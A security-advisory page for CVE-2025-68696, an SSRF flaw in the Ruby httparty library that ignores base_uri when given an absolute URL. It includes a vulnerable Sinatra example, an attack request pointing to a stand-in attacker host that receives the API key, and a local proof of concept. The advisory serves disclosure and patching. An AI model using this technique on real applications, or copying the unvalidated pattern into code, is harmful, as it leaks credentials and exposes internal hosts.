Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-68696 — httparty

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-918 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

```rb

require 'sinatra'

require 'httparty'

class RepositoryClient

include HTTParty

base_uri 'http://exmaple.test/api/v1/repositories/'

headers 'X-API-KEY' => '1234567890'

end

post '/issue' do

request_body = JSON.parse(request.body.read)

RepositoryClient.get(request_body['repository_id']).body

# do something

json message: 'OK'

end

```

Now, suppose an attacker sends a request like this:

```

POST /issue HTTP/1.1

Host: localhost:10000

Content-Type: application/json

{

"repository_id": "http://attacker.test",

"title": "test"

}

```

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:

<https://github.com/axios/axios/issues/6463>

Also, Python's urljoin function has documented a warning about similar behavior:

<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

PoC

Follow these steps to reproduce the issue:

1. Set up two simple HTTP servers.

```bash

mkdir /tmp/server1 /tmp/server2

echo "this is server1" > /tmp/server1/index.html

echo "this is server2" > /tmp/server2/index.html

python -m http.server -d /tmp/server1 10001 &

python -m http.server -d /tmp/server2 10002 &

```

2. Create a script (for example, main.rb):

```rb

require 'httparty'

class Client

include HTTParty

base_uri 'http://localhost:10001'

end

data = Client.get('http://localhost:10002').body

puts data

```

3. Run the script:

```bash

$ ruby main.rb

this is server2

```

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

  • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
  • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
  • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2025-68696 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2025-68696 is recorded against 1 package.

  • httparty (fixed in 0.24.0)

Timeline and source

Published on 23 December 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

httparty has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

CVE-2025-68696 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
CWE CWE-918
Public Exploit ⚠️ Yes
Source OSV
Published 2025-12-23
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
httparty — 0.24.0

Similar Threats

Exploit Protection

Are you running httparty?

CVE-2025-68696 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-68696 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025
✓